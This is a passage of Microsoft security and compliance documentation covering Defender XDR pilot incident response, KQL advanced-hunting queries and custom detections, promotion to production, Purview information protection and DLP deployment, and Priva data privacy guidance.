This wraps up attack simulations for incident analysis, automated investigation, and
incident resolution.
Next step
Step 2 of 2: Try Microsoft Defender XDR incident response capabilities

 Tip
Feedback

Try Microsoft Defender XDR incident
response capabilities in a pilot
environment
Article • 04/22/2024
Applies to:
This article is Step 2 of 2 in the process of performing an investigation and response of

an incident in Microsoft Defender XDR using a pilot environment. For more information
about this process, see the overview article.
Once you have performed an incident response for a simulated attack, here are some
Microsoft Defender XDR capabilities to explore:
ﾉ Expand table
Capability Description
Prioritizing Use filtering and sorting of the incidents queue to determine which
incidents incidents to address next.
Managing Modify incident properties to ensure correct assignment, add tags and
incidents comments, and to resolve an incident.
Automated Use automated investigation and response (AIR) capabilities to help your
investigation and security operations team address threats more efficiently and effectively.
response The Action center is a "single pane of glass" experience for incident and
alert tasks such as approving pending remediation actions.
Advanced hunting Use queries to proactively inspect events in your network and locate threat
indicators and entities. You also use advanced hunting during the
investigation and remediation of an incident.
Prioritize incidents
You get to the incident queue from Incidents & alerts > Incidents on the quick launch
of the Microsoft Defender portal . Here's an example.

The Most recent incidents and alerts section shows a graph of the number of alerts
received and incidents created in the last 24 hours.
To examine the list of incidents and prioritize their importance for assignment and
investigation, you can:
Configure customizable columns (select Choose columns) to give you visibility into
different characteristics of the incident or the impacted entities. This helps you
make an informed decision regarding the prioritization of incidents for analysis.
Use filtering to focus on a specific scenario or threat. Applying filters on the

incident queue can help determine which incidents require immediate attention.
From the default incident queue, select Filters to see a Filters pane, from which you can
specify a specific set of incidents. Here's an example.

For more information, see Prioritize incidents.
Manage incidents
You can manage incidents from the Manage incident pane for an incident. Here's an
example.

You can display this pane from the Manage incident link on the:
Properties pane of an incident in the incident queue.

Summary page of an incident.
Here are the ways you can manage your incidents:
Edit the incident name
Change the automatically assigned name based on your security team best
practices.
Add incident tags
Add tags that your security team uses to classify incidents, which can be later
filtered.
Assign the incident
Assign it to a user account name, which can be later filtered.
Resolve an incident
Close the incident after it has been remediated.
Set its classification and determination
Classify and select the threat type when you resolve an incident.
Add comments
Use comments for progress, notes, or other information based on your security
team best practices. The full comment history is available from the Comments and
history option in the details page of an incident.
For more information, see Manage incidents.
Examine automated investigation and response

with the Action center
Depending on how automated investigation and response capabilities are configured
for your organization, remediation actions are taken automatically or only upon
approval by your security operations team. All actions, whether pending or completed,
are listed in the Action center, which lists pending and completed remediation actions
for your devices, email & collaboration content, and identities in one location.
Here's an example.
From the Action center, you can select pending actions and then approve or reject them
in the flyout pane. Here's an example.

Approve (or reject) pending actions as soon as possible so that your automated
investigations can proceed and complete in a timely manner.
For more information, see Automated investigation and response and Action center.
Use advanced hunting
７ Note
Before we walk you through the advanced hunting simulation, watch the following
video to understand advanced hunting concepts, see where you can find it in the
portal, and know how it can help you in your security operations.
https://www.microsoft.com/en-us/videoplayer/embed/RE4Bp7O?postJsllMsg=true
If the optional fileless PowerShell attack simulation were a real attack that had already
reached the credential access stage, you can use advanced hunting at any point in the
investigation to proactively search through events and records in the network using
what you already know from the generated alerts and affected entities.
For instance, based on information in the User and IP address reconnaissance (SMB)
alert, you can use the IdentityDirectoryEvents table to find all the SMB session
enumeration events, or find more discovery activities in various other protocols in
Microsoft Defender for Identity data using the IdentityQueryEvents table.
Hunting environment requirements
There's a single internal mailbox and device required for this simulation. You'll also need
an external email account to send the test message.
1. Verify that your tenant has enabled Microsoft Defender XDR.
2. Identify a target mailbox to be used for receiving email.
This mailbox must be monitored by Microsoft Defender for Office 365
The device from requirement 3 needs to access this mailbox
3. Configure a test device:
a. Make sure you are using Windows 10 version 1903 or later version.
b. Join the test device to the test domain.
c. Turn on Microsoft Defender Antivirus. If you are having trouble enabling

Microsoft Defender Antivirus, see this troubleshooting topic.
d. Onboard to Microsoft Defender for Endpoint.
Run the simulation

1. From an external email account, send an email to the mailbox identified in step 2
of the hunting environment requirements section. Include an attachment that will
be allowed through any existing email filter policies. This file does not need to be
malicious or an executable. Suggested file types are .pdf, .exe (if allowed), or an
Office document type such as a Word file.
2. Open the sent email from the device configured as defined in step 3 of the hunting
environment requirements section. Either open the attachment or save the file to
the device.
Go hunting
2. From the navigation pane, select Hunting > Advanced hunting.
3. Build a query that starts by gathering email events.
a. Select Query > New.

b. In the Email groups under Advanced hunting, double-click EmailEvents. You
should see this in the query window.
Console
EmailEvents
c. Change the time frame of the query to the last 24 hours. Assuming the email
you sent when you ran the simulation above was in the past 24 hours, otherwise
change the time frame as needed.
d. Select Run query. You may have differing results depending on your pilot
environment.
７ Note
See the next step for filtering options to limit data return.
７ Note
Advanced hunting displays query results as tabular data. You can also opt
to view the data in other format types such as charts.
e. Look at the results and see if you can identify the email you opened. It may take
up to two hours for the message to show up in advanced hunting. To narrow
down the results, you can add the where condition to your query to only look
for emails that have "yahoo.com" as their SenderMailFromDomain. Here's an
example.
Console
EmailEvents
| where SenderMailFromDomain == "yahoo.com"
f. Click the resulting rows from the query so you can inspect the record.
4. Now that you have verified that you can see the email, add a filter for the
attachments. Focus on all emails with attachments in the environment. For this
simulation, focus on inbound emails, not those that are being sent out from your
environment. Remove any filters you have added to locate your message and add
"| where AttachmentCount > 0 and EmailDirection == "Inbound""
The following query will show you the result with a shorter list than your initial
query for all email events:
Console
EmailEvents
| where AttachmentCount > 0 and EmailDirection == "Inbound"
5. Next, include the information about the attachment (such as: file name, hashes) to
your result set. To do so, join the EmailAttachmentInfo table. The common fields
to use for joining, in this case are NetworkMessageId and RecipientObjectId.
The following query also includes an additional line "| project-rename

EmailTimestamp=Timestamp" that'll help identify which timestamp was related to
the email versus timestamps related to file actions that you'll add in the next step.
Console
EmailEvents
| project-rename EmailTimestamp=Timestamp
| join EmailAttachmentInfo on NetworkMessageId, RecipientObjectId
6. Next, use the SHA256 value from the EmailAttachmentInfo table to find
DeviceFileEvents (file actions that happened on the endpoint) for that hash. The
common field here will be the SHA256 hash for the attachment.
The resulting table now includes details from the endpoint (Microsoft Defender for
Endpoint) such as device name, what action was done (in this case, filtered to only
include FileCreated events), and where the file was stored. The account name
associated with the process will also be included.
Console
EmailEvents
| join DeviceFileEvents on SHA256
| where ActionType == "FileCreated"
You've now created a query that'll identify all inbound emails where the user
opened or saved the attachment. You can also refine this query to filter for specific
sender domains, file sizes, file types, and so on.
7. Functions are a special kind of join, which let you pull more TI data about a file like
its prevalence, signer and issuer info, etc. To get more details on the file, use the
FileProfile() function enrichment:
Console
EmailEvents
| join DeviceFileEvents on SHA256
| where ActionType == "FileCreated"
| distinct SHA1
| invoke FileProfile()
Create a detection
Once you have created a query that identifies information that you'd like to get alerted
about if they happen in the future, you can create a custom detection from the query.
Custom detections will run the query according to the frequency you set, and the results
of the queries will create security alerts, based on the impacted assets you choose.
Those alerts will be correlated to incidents and can be triaged as any other security alert
generated by one of the products.
1. On the query page, remove lines 7 and 8 that were added in step 7 of the Go
hunting instructions and click Create detection rule.
７ Note
If you click Create detection rule and you have syntax errors in your query,
your detection rule won't be saved. Double-check your query to ensure
there's no errors.
2. Fill in the required fields with the information that will allow the security team to
understand the alert, why it was generated, and what actions you expect them to
take.

Ensure that you fill out the fields with clarity to help give the next user an informed
decision about this detection rule alert
3. Select what entities are impacted in this alert. In this case, select Device and
Mailbox.
4. Determine what actions should take place if the alert is triggered. In this case, run
an antivirus scan, though other actions could be taken.

5. Select the scope for the alert rule. Since this query involves devices, the device
groups are relevant in this custom detection according to Microsoft Defender for
Endpoint context. When creating a custom detection that does not include devices
as impacted entities, scope does not apply.
For this pilot, you might want to limit this rule to a subset of testing devices in your
production environment.
6. Select Create. Then, select Custom detection rules from the navigation panel.

From this page, you can select the detection rule, which will open a details page.

Expert training on advanced hunting
Tracking the adversary is a webcast series for new security analysts and seasoned threat
hunters. It guides you through the basics of advanced hunting all the way to creating
your own sophisticated queries.
See Get expert training on advanced hunting to get started.

 Tip
Feedback

Step 7. Promote your Microsoft
Defender XDR evaluation environment
to production
Article • 04/22/2024
Applies to:
To promote your Microsoft Defender XDR evaluation environment to production, first

purchase the necessary license. Follow the steps in Create the eval environment and
purchase the Office 365 E5 license (instead of selecting Start free trial).
Next, complete any other configuration and expand your pilot groups until these reach
full production.

Defender for Identity doesn't require any other configuration. Just make sure to
purchase the necessary licenses and install the sensor on all of your Active Directory
domain controllers and Active Directory Federation Services (AD FS) servers.

After successfully evaluating or piloting Defender for Office 365, it can be promoted to
your entire production environment.
1. Purchase and provision the necessary licenses and assign them to your production
users.
2. Rerun recommended baseline policy configurations (either Standard or Strict)
against your production email domain or specific groups of users.
3. Optionally create and configure any custom Defender for Office 365 policies
against your production email domain or groups of users. However, remember
that any assigned baseline policies will always take precedence over custom
policies.
4. Update the public MX record for your production email domain to resolve directly
to EOP.
5. Decommission any third-party SMTP gateways and disable or delete any EXO
connectors associated with this relay.
To promote Microsoft Defender for Endpoint evaluation environment from a pilot to
production, onboard more endpoints to the service using any of the supported tools
and methods.
Use the following general guidelines to onboard more devices to Microsoft Defender for
Endpoint.
1. Verify that the device fulfills the minimum requirements.

2. Depending on the device, follow the configuration steps provided in the
onboarding section of the Defender for Endpoint portal.
3. Use the appropriate management tool and deployment method for your devices.
4. Run a detection test to verify that the devices are properly onboarded and
reporting to the service.

Microsoft Defender for Cloud Apps doesn't require any other configuration. Just make
sure to purchase the necessary licenses. If you've scoped the deployment to certain user
groups, increase the scope of these groups until you reach production scale.
 Tip
Feedback

Deploy an information protection
solution with Microsoft Purview
Article • 12/12/2023
Licensing for Microsoft 365 Security & Compliance
Your information protection strategy is driven by your business needs. Many

organizations must comply with regulations, laws, and business practices. Additionally,
organizations need to protect proprietary information, such as data for specific projects.
Microsoft Purview Information Protection (formerly Microsoft Information Protection)

provides a framework, process, and capabilities you can use to protect sensitive data
across clouds, apps, and devices.
To see examples of Microsoft Purview Information Protection in action, from the end-
user experience to the admin configuration, watch the following video:
https://www.microsoft.com/en-us/videoplayer/embed/RW1a6dR?postJsllMsg=true
 Tip
If you're not an E5 customer, use the 90-day Microsoft Purview solutions trial to
explore how additional Purview capabilities can help your organization manage
data security and compliance needs. Start now at the Microsoft Purview
compliance portal trials hub . Learn details about signing up and trial terms.
Microsoft Purview Information Protection

framework
Use Microsoft Purview Information Protection to help you discover, classify, protect, and
govern sensitive information wherever it lives or travels.
For data governance, see Deploy a data governance solution with Microsoft Purview.
Licensing
Microsoft Purview Information Protection capabilities are included with Microsoft
Purview. The licensing requirements can vary even within capabilities, depending on
configuration options. To identify licensing requirements and options, see the Microsoft
365 guidance for security & compliance.
Know your data

Knowing where your sensitive data resides is often the biggest challenge for many
organizations. Microsoft Purview Information Protection data classification helps you to
discover and accurately classify ever-increasing amounts of data that your organization
creates. Graphical representations help you gain insights into this data so you can set up
and monitor policies to protect and govern it.
ﾉ Expand table
1 Describe the categories of sensitive information you want to Learn about sensitive
protect. information types
You already have an idea of what types of information are Learn about trainable
most valuable to your org and what types aren't. Work with classifiers
stakeholders to describe these categories that are your
starting point.
2 Discover and classify sensitive data. Learn about data

classification
Sensitive data in items can be found by using many different
methods that include default DLP policies, manual labeling by Video: Data classification
users, and automated pattern recognition using sensitive in the Microsoft Purview
information types or machine learning. compliance portal
3 View your sensitive items. Get started with content

explorer
Use content explorer and activity explorer for a deeper
analysis of sensitive items and the actions that users are Get started with activity
taking on these items. explorer
Protect your data

Use the information from knowing where your sensitive data resides to help you more
efficiently protect it. However, there's no need to wait—you can start to protect your
data immediately with a combination of manual, default, and automatic labeling. Then,
use content explorer and activity explorer from the previous section to confirm what
items are labeled and how your labels are being used.
ﾉ Expand table
1 Define your sensitivity labels and policies that will protect Get started with sensitivity
your organization's data. labels
In addition to identifying the sensitivity of content, these Create and configure

labels can apply protection actions such as content markings sensitivity labels and their
(headers, footers, watermarks), encryption, and other access policies
controls.
Restrict access to content
Example sensitivity labels: by using sensitivity labels
Personal to apply encryption
Public
General
- Anyone (unrestricted)
- All Employees (unrestricted)
Confidential
- Anyone (unrestricted)
- All Employees
- Trusted People
Highly Confidential
- All Employees
- Specific People
Example sensitivity label policy:

1. Publish all labels to all users in the tenant
2. Default label of General \ All Employees (unrestricted) for
items
3. Users must provide a justification to remove a label or
lower its classification
2 Label and protect data for Microsoft 365 apps and services. Manage sensitivity labels
in Office apps
Sensitivity labels are supported for Microsoft 365 Word,
Excel, PowerPoint, Outlook, Teams meetings, and also Enable sensitivity labels for
containers that include SharePoint and OneDrive sites, and files in SharePoint and
Microsoft 365 groups. Use a combination of labeling OneDrive
methods such as manual labeling, automatic labeling, a
default label, and mandatory labeling. Enable co-authoring for
files encrypted with
Example configuration for client-side auto-labeling: sensitivity labels
1. Recommend Confidential \ Anyone (unrestricted) if 1-9
credit card numbers Configure a default
2. Recommend Confidential \ All Employees if 10+ credit sensitivity label for a
card numbers SharePoint document
-- typical end user experience, and the user selects the library
button to show sensitive content (Word only)
Apply a sensitivity label to
Example configuration for service-side auto-labeling: content automatically
Apply to all locations (Exchange, SharePoint, OneDrive)
1. Apply Confidential \ Anyone (unrestricted) if 1-9 credit Use sensitivity labels with
card numbers Microsoft Teams, Microsoft
2. Apply Confidential \ All Employees if 10+ credit card 365 groups, and
numbers SharePoint sites
3. Apply Confidential \ Anyone (unrestricted) if 1-9 US
personal data and full names Use sensitivity labels to
4. Apply Confidential \ All Employees if 10+ US personal protect calendar items,
data and full names Teams meetings, and chat
Use sensitivity labels to set

the default sharing link for
sites and documents in
SharePoint and OneDrive
Apply a sensitivity label to

a model in Microsoft
Syntex
Sensitivity labels in Power

BI
3 Discover, label, and protect sensitive items that reside in Discover, classify, label,
data stores in the cloud (Box, GSuite, SharePoint, and and protect regulated and
OneDrive) by using Microsoft Defender for Cloud Apps with sensitive data stored in the
your sensitivity labels. cloud
Example configuration for a file policy: Looks for credit card

numbers in files stored in a Box account, and then applies a
sensitivity label to identify the highly confidential info and

encrypt it.
4 Discover, label, and protect sensitive items that reside in Configuring and installing
data stores on premises by deploying the information the information protection
protection scanner with your sensitivity labels. scanner
5 Extend your sensitivity labels to Azure by using Microsoft Labeling in Microsoft

Purview Data Map, to discover and label items for Azure Purview Data Map
Blob Storage, Azure files, Azure Data Lake Storage Gen1, and
Azure Data Lake Storage Gen12.
If you're a developer who wants to extend sensitivity labels to line-of-business apps or

third-party SaaS apps, see Microsoft Information Protection (MIP) SDK setup and
configuration.
Additional protection capabilities

Microsoft Purview includes additional capabilities to help protect data. Not every
customer needs these capabilities, and some might be superseded by more recent
releases.
Refer to the Protect your data with Microsoft Purview page for the full list of protection
capabilities.
Prevent data loss
Deploy Microsoft Purview Data Loss Prevention (DLP) policies to govern and prevent the
inappropriate sharing, transfer, or use of sensitive data across apps and services. These
policies help users make the right decisions and take the right actions when they're
using sensitive data.
ﾉ Expand table
Step Description More
information
1 Learn about DLP. Learn about data

loss prevention
Organizations have sensitive information under their control, such as
financial data, proprietary data, credit card numbers, health records,
and social security numbers. To help protect this sensitive data and
reduce risk, they need a way to prevent their users from
inappropriately sharing it with people who shouldn't have it. This
practice is called data loss prevention (DLP).
2 Plan your DLP implementation. Plan for data loss

prevention
Every organization will plan for and implement data loss prevention
(DLP) differently, because every organization's business needs, goals,
resources, and situation are unique to them. However, there are
elements that are common to all successful DLP implementations.
3 Design and create a DLP policy. Design a DLP

policy
Creating a data loss prevention (DLP) policy is quick and easy, but
getting a policy to yield the intended results can be time consuming if DLP policy
you have to do a lot of tuning. Taking the time to design a policy reference
before you implement it gets you to the desired results faster, and
Create and
with fewer unintended issues, than tuning by trial and error alone.
deploy data loss
prevention
Example configuration for a DLP policy: Prevents emails being sent if
policies
they contain credit card numbers or the email has a specific sensitivity
label that identities highly confidential info.
4 Tune your DLP policies. Create and

deploy data loss
After you deploy a DLP policy, you'll see how well it meets the prevention
intended purpose. Use that information to adjust your policy settings policies
for better performance.
Deployment strategies
The credit card number examples are often helpful for initial testing and end user
education. Even if your organization doesn't typically need to protect credit card
numbers, the concept of these being sensitive items that need protection is easily
understood by users. Many websites provide credit card numbers that are suitable for
testing purposes only. You can also search for sites that provide credit card number
generators so that you can paste the numbers into documents and emails.
When you're ready to move your automatic labeling and DLP policies into production,
change to classifiers and configurations that are suitable for the type of data used by
your organization. For example, you might need to use trainable classifiers for
intellectual property and specific types of documents, or exact data match (EDM)
sensitive information types for privacy data that's related to customers or employees.
Or, you might want to start by discovering and protecting IT-related information that is
frequently the target of security attacks. Then, supplement this by checking for and
preventing the sharing of passwords with DLP policies for email and Teams chat:
Use the trainable classifiers IT and IT Infra and Network Security Documents
Use the built-in sensitive info type General Password and create a custom sensitive
info type for "password is" for the different languages used by your users
Deploying an information protection solution isn't a linear deployment but iterative, and
often circular. The more you know your data, the more accurately you can label it, and
prevent data leakage. The results of those applied labels and policies flow into the data
classification dashboard and tools, which in turn makes more sensitive data visible for
you to protect. Or, if you're already protecting that sensitive data, consider whether it
requires additional protective actions.
You can start to manually label data as soon as you've defined sensitivity labels. The
same classifiers that you use for DLP can be used to automatically find and label more
data. You can even use sensitivity labels as a classifier, for example, block sharing items
that are labeled highly confidential.
Most customers already have some solutions in place to protect their data. Your
deployment strategy might be to build on what you already have, or focus on gaps that
offer the most business value or addresses high risk areas.
To help you plan your unique deployment strategy, reference Get started with sensitivity
labels and Plan for data loss prevention.
Consider a phased deployment

You might prefer to deploy information protection by using a phased deployment that
implements progressively restrictive controls. This approach gradually introduces new
protection measures for users as you gain familiarity and confidence with the
technology. For example:
From default labels and no encryption, to recommending labels that apply

encryption when sensitive data is found, and then automatically applying labels
when sensitive data is found.
DLP policies that progress from auditing oversharing actions, to more restrictive
blocking with warning to educate users, and then blocking all sharing.
Details of such a phased deployment might look something like the following plan,
where sensitivity labels and DLP policies become more integrated with each other to
provide greater data protection than if they were used independently:
Phase 1
Sensitivity label configurations:
General\All Employees: Default label for email. No encryption. If applied on

emails, block users from over-sharing.
Confidential\All Employees: Default label for documents. No encryption. If
applied on emails, block users from over-sharing.
Highly Confidential\All Employees: No encryption. If applied on emails, block
users from over-sharing.
DLP policy A:
If 1-2 instances of credit cards are found, block external sharing except if the
item is labeled as Personal or Confidential\Anyone (unrestricted). Use
logging and reporting for analysis.
DLP policy B:
If 3-9 instances of credit cards are found, block external sharing, cloud egress,
and copy to removable drives except if the item is labeled as
Confidential\Anyone (unrestricted). Use logging and reporting for analysis.
DLP policy C:
If 10+ instances of credit cards are found, block external sharing, cloud egress,
and copy to removable drives with no exceptions. Use logging and reporting
for analysis.
Configuration details for this example phased deployment:
Default sublabel for a parent label

Data loss prevention Exchange conditions and actions reference
Confidence levels and other elements of a sensitivity type
Use sensitivity labels as conditions in DLP policies
Encryption that lets users assign permissions
Encryption for specific usage rights
Configure and view alerts for data loss prevention policies
Training resources
Interactive guides: Microsoft Purview Information Protection
Learning modules for consultants and admins:
Introduction to information protection and data lifecycle management in Microsoft

Purview
Classify data for protection and governance
Protect information in Microsoft Purview
Prevent data loss in Microsoft Purview
To help train your users to apply and use the sensitivity labels that you configure for
them, see End-user documentation for sensitivity labels.
When you deploy data loss prevention policies for Teams, you might find the following
end-user guidance useful as an introduction to this technology. It includes some
potential messages that users might see: Teams messages about data loss prevention
(DLP) and communication compliance policies .
Feedback
Manage data privacy and data
protection with Microsoft Priva and
Microsoft Purview
Article • 01/03/2024
At least 71% of countries/regions have passed or introduced data privacy legislation,

according to the United Nations. Chances are good that your organization is based in,
or has customers or employees in, regions with data privacy laws. A prominent example
of a data privacy law with broad impact is the European Union's General Data Protection
Regulation (GDPR). Many organizations are subject to multiple regulations that
themselves are frequently updated. As the regulatory landscape expands, it's never been
more critical for organizations to safeguard personal data while staying on top of
changes. Failure to comply with data privacy laws and regulations can result in
considerable financial penalties, legal and business repercussions, and erosion of your
customers' trust.
Data privacy and data protection go hand in hand. You can't have data privacy without
data protection. Data protection helps protect personal data stored and managed by
your organization from external threats and leakage. Data privacy provides another layer
of sophisticated protection, which helps honor the purpose of personal data use and
respects a data subject's rights throughout the data lifecycle. To help organizations
regardless of size or location fortify their data privacy and protection posture, we offer
robust and scalable solutions in Microsoft Priva and Microsoft Purview.
How Microsoft Priva and Microsoft Purview

work together
Microsoft Priva and Microsoft Purview provide a unified platform to help you comply
with data privacy regulations. The complementary features in Purview risk and
compliance solutions and Priva privacy management solutions help you assess the
personal data within your organization, and provide automation and scalability to help
reduce the complexity in adequately safeguarding the data.
How to use this guide
Use the guidance in these articles to help you assess risks and take appropriate action to
protect personal data in your organization's environment. This guide comprises four
overarching steps to help you understand how and when to use the appropriate
Microsoft solution for meeting your organization's data privacy obligations.
The steps in this solution are:
1. Assess your organization's data and risks: Start your journey by understanding your
data and possible risks.
2. Protect and govern your data: Identify, categorize, and manage the data you need
to protect.
3. Stay on track with privacy regulations: Monitor your progress in completing
assessments and stay up-to-date as regulations change.
4. Respond to data privacy incidents and subject requests: Set up alerts so you can
respond to privacy risks and automate your management of data subject requests.
） Important
Following this guidance will not necessarily make you compliant with any data
privacy regulation, especially considering the number of steps required that are
outside the context of the features. You are responsible for ensuring your
compliance and to consult your legal and compliance teams or to seek guidance
and advice from third parties that specialize in compliance.
Resources
Microsoft Priva
Microsoft Purview
Microsoft Privacy
Microsoft compliance offerings
Data privacy thought paper: From privacy vulnerability to privacy resilience
Priva Privacy Risk Management eBook
Feedback

Data privacy and protection – Assess
data and risks
Article • 01/03/2024
Welcome to Step 1 of managing data privacy and data protection with Microsoft Priva
and Microsoft Purview: Assess your organization's data and risks.
When you begin your data privacy journey, you'll want to first understand what types of
personal data you have, how much, where it's stored, and how it flows over time. The
best place to start understanding your data is with Microsoft Priva. You'll next want to
know which regulations you'll need to comply with. Microsoft Purview Compliance
Manager helps you identify which data privacy regulations most likely apply to your
organization.
Actions to take
ﾉ Expand table
Action Description Get details
Use Priva to Priva evaluates your organization's Microsoft 365 Learn more
understand your environment to determine the types and amounts of about Priva
organization's sensitive information types and where they're stored. It
personal data. then gives you insights and key analytics to help you Check Priva
understand the privacy issues and associated risks in your licensing
organization. guidance
To get started with Priva, check to make sure your users Set user
are appropriately licensed and have the roles they need. permissions for
It's also a good idea to confirm that the Microsoft 365 Priva
audit log is enabled.
Check Priva
We recommend making some initial settings before you settings
start. Visit Priva settings to turn anonymization On for
greater protection while reviewing sensitive data, and turn Find and
user notification emails Off while you're getting familiar visualize
with Privacy Risk Management policies. You can turn both personal data in
on later. your
organization
Visit Compliance The next step is knowing which data protection Learn more
Manager to regulations apply to your organization so you know what about
assess your your obligations are. Compliance
compliance Manager
posture. Keeping up with new and updated laws and regulations
can be a full-time job in itself, and many organizations Start a premium
struggle with manual processes for monitoring, updating, assessments
and reporting on their state of compliance. Compliance trial
Manager helps manage the complexities of implementing
controls through built-in control mapping, versioning, and Learn about
continuous control assessments. This automation and multicloud
continuous monitoring helps you to stay current with support in
regulations and certifications, and eases reporting to Compliance
auditors. Manager
Use Compliance Manager to quickly assess your current

environment and get an initial compliance score based on
the Microsoft data protection baseline assessment. From
there, you can create assessments that cover your
multicloud environment and keep you on track with the
regulations that are most relevant to your organization.
Optimizing your initial setup

Within 48-72 hours of starting Microsoft Priva, you'll start to see insights around
personal data display for your organization. On the Priva overview page, you'll see
insights on the amount of personal data that exists in your organization, where it lives,
and how it moves. These insights are dynamically updated as new data comes in. Over
time, you can better understand how personal data evolves in your Microsoft 365
environment so you can more quickly spot issues, identify and assess risks, and take
action to fix issues. Learn more about understanding the data presented on the
overview page.
Select Data profile underneath Privacy risk management on the left navigation of the
Purview compliance portal. On this page, you can explore and document all the personal
data types detected across repositories. Based on this information, you can decide if all
the data types you're concerned about are successfully detected. If you find something
missing, you can create custom sensitive information types (SITs) and come back to the
data profile page in the next 24-48 hours.
There are three data handling policies in Priva Privacy Risk Management: data
overexposure, data transfers, and data minimization. You can learn more about the
policy types here, and we'll discuss them further in step 2 of this solution. A default
version of each policy type is set up and running when you start using Priva. You'll see
them listed with the word Default in their names on your Policies page.
We recommend turning off the default policies as you get started. This is because the
default policies monitor for personal data based on multiple classification groups (sets
of data based on privacy regulations), which can involve a broad array of SITs that may
not be relevant to your industry or geographic location. You may also experience a high
number of false positives. The result may be that an overwhelming amount of data
that's less relevant appears in your data profile and gets factored into your insights. To
create a more manageable and accurate view of the personal data you're most
concerned with, we suggest setting up a customized policy at first. This also gives you
time to become familiar with how policies work and watch for false positives. You can
run the policy in test mode and continue to fine tune its settings until it's set up to track
exactly what you need.
If you felt overwhelmed by the amount of data presented on your overview and data
profile pages at the start, turning off the default policies and setting up one or more
custom policies may present a more accurate and workable picture of your data estate
and current risks.
We'll walk you through setting up your first policy in step 2 of this guidance.
Next step
Visit Step 2. Protect and govern your data.
Feedback

Data privacy and protection – Protect
and govern data
Article • 01/03/2024
and Microsoft Purview: Protect and govern your data.
When you know what personal data you have, where it is, and your regulatory
requirements, it's time to put things in place to protect that data. Microsoft provides
comprehensive, robust capabilities to help you protect personal data in two ways:
1. Features that IT admins set up to categorize sensitive items and take protective
actions, and
2. Features that empower your employees to spot and fix data privacy issues quickly
and get trained on sound data handling practices.
Actions to take
ﾉ Expand table
Identify sensitive Identifying and categorizing sensitive items Learn more about
information types so managed by your organization is the first step in the sensitive
you know what needs Information Protection discipline. information types
protection.
Microsoft Purview provides three ways of identifying View the full list
items so that they can be categorized a) manually by of sensitive
users, b) automated pattern recognition, like information types
sensitive information types, and c) machine learning.
Sensitive information types (SIT) are pattern-based

classifiers. They detect sensitive information like
social security, credit card, or bank account numbers

to identify sensitive items.
Categorize and label Categorizing and labeling content so it can be Learn more about
your content so you protected and handled properly is the starting place trainable
can apply features to for the information protection discipline. Microsoft classifiers
protect it. 365 has three ways to classify content.
Apply sensitivity When you’ve identified your sensitive data, you’ll Learn more about
labels to protect data, want to protect it. That’s often challenging when sensitivity labels
even if it roams. people collaborate with others both inside and
outside the organization. That data can roam
everywhere, across devices, apps, and services. And
when it roams, you want it to do so in a secure,
protected way that meets your organization's
business and compliance policies.
Sensitivity labels from Microsoft Purview Information

Protection let you classify and protect your
organization's data, while making sure that user
productivity and their ability to collaborate isn't
hindered.
Use data loss Organizations have sensitive information under their Learn more about
prevention policies to control such as financial data, proprietary data, data loss
prevent the sharing of credit card numbers, health records, or social prevention
personal data. security numbers. To help protect sensitive
information and reduce risk, they need a way to
prevent their users from inappropriately sharing it
with people who shouldn't have it. This practice is
called data loss prevention (DLP).
Using Microsoft Purview Data Loss Prevention, you

implement data loss prevention by defining and
applying DLP policies to identify, monitor, and
automatically protect sensitive items across
Microsoft 365 services such as Teams, Exchange,
SharePoint, and OneDrive; Office applications such
as Word, Excel, and PowerPoint; Windows 10,
Windows 11, and macOS (the current version and
the previous two versions of macOS) endpoints;
non-Microsoft cloud apps; and on-premises file
shares and on-premises SharePoint.
This DLP solution detects sensitive items by using

deep content analysis, not by just a simple text scan.
Content is analyzed for primary data matches to
keywords, by the evaluation of regular expressions,
by internal function validation, and by secondary
data matches that are in proximity to the primary

data match. Beyond that, DLP also uses machine
learning algorithms and other methods to detect
content that matches your DLP policies.
Govern your Information governance controls can be employed Learn how to

Microsoft 365 data in your environment to help address data privacy deploy a data
for compliance or compliance needs, including a number that are governance
regulatory specific to General Data Protection Regulation solution with
requirements (GDPR), HIPAA-HITECH (the United States health Microsoft Purview
care privacy act), California Consumer Protection Act
(CCPA), and the Brazil Data Protection Act (LGPD).
Microsoft Purview Data Lifecycle Management and
Microsoft Purview Records Management provide
these controls in the form of retention policies,
retention labels, and records management
capabilities.
Set up secure storage If you plan to store highly sensitive personal data in Learn more about
of personal data in Teams, you can configure a private team and use a configuring a
Microsoft Teams. sensitivity label that's specifically configured to team with
secure access to the team and files within it. security isolation
Empower users to Create data handling policies in Priva Privacy Risk Learn more about
spot potential risks Management so that your users can immediately Privacy Risk
and fix issues. identify risks in the data they create and manage. Management
Notification emails alert users when they transfer Create a policy to

items with personal data within our outside of the prevent data
organization, make content too broadly accessible, transfers,
or hold onto personal data for too long. The overexposure, or
notifications prompt users to take immediate hoarding
remediation steps to secure personal data, and
contain links to your organization's preferred privacy Set up
training. notifications for
users to fix issues
with content they
handle
Use records A records management system is a solution for Learn more about
management for organizations to manage regulatory, legal, and records
high-value items that business-critical records. management
must be managed for
business, legal, or Microsoft Purview Records Management helps an
regulatory record- organization manage their legal obligations,
keeping provides the ability to demonstrate compliance with
requirements. regulations, and increases efficiency with regular
disposition of items that are no longer required to
be retained, no longer of value, or no longer

required for business purposes.
Setting up your strategy for success

Identifying sensitive information types (SITs), categorizing and labeling your content,
and deploying data loss prevention (DLP) policies are key steps in an information
protection strategy. The links in the table above take you to detailed guidance for
carrying out these essential tasks.
Protecting data is also the responsibility of every user in your organization who views,
creates, and handles personal data in the course of the job duties. Each user must know
and abide by your organization's internal and regulatory responsibilities to protect
personal data wherever it exists in your organization. To that end, Priva helps you
empower your users to know their responsibilities, to be informed when they're
handling data in risky ways, and take immediate action to minimize privacy risks to the
organization.
The three data handling policies available in Priva Privacy Risk Management help your
users play a proactive role in your organization's data protection strategy. Email
notifications with built-in remediation actions prompt users to apply the necessary
protections and take a privacy training designated by your organization. This awareness
and ability to act can help to cultivate better habits for preventing future privacy issues.
Recommendations for your first Priva data handling

policy
We recommend deploying policies in a phased approach so you can get to know how
they behave and optimize them to suit your needs. For the first phase, we recommend
creating one custom policy to serve as a basis of understanding. Let's use the example
of creating a data overexposure policy, which identifies content items containing
personal data that may be too broadly accessible by other people. You can find detailed
policy creation instructions starting here.
When you get to the Choose data to monitor step of the policy creation wizard,
we recommend selecting the Individual sensitive information types option and
choosing the SITs that are most relevant to your organization. For example, if
you're a financial services company with customers in Europe, you'll likely want to
include the EU debit card number as one of your SITs. Find the list of SIT definitions
here.
At the Choose users and groups covered by this policy step, we recommend
selecting Specific users or groups and choosing a small inner circle of users in
scope for this policy.
At the Choose conditions for the policy step, we recommend selecting only
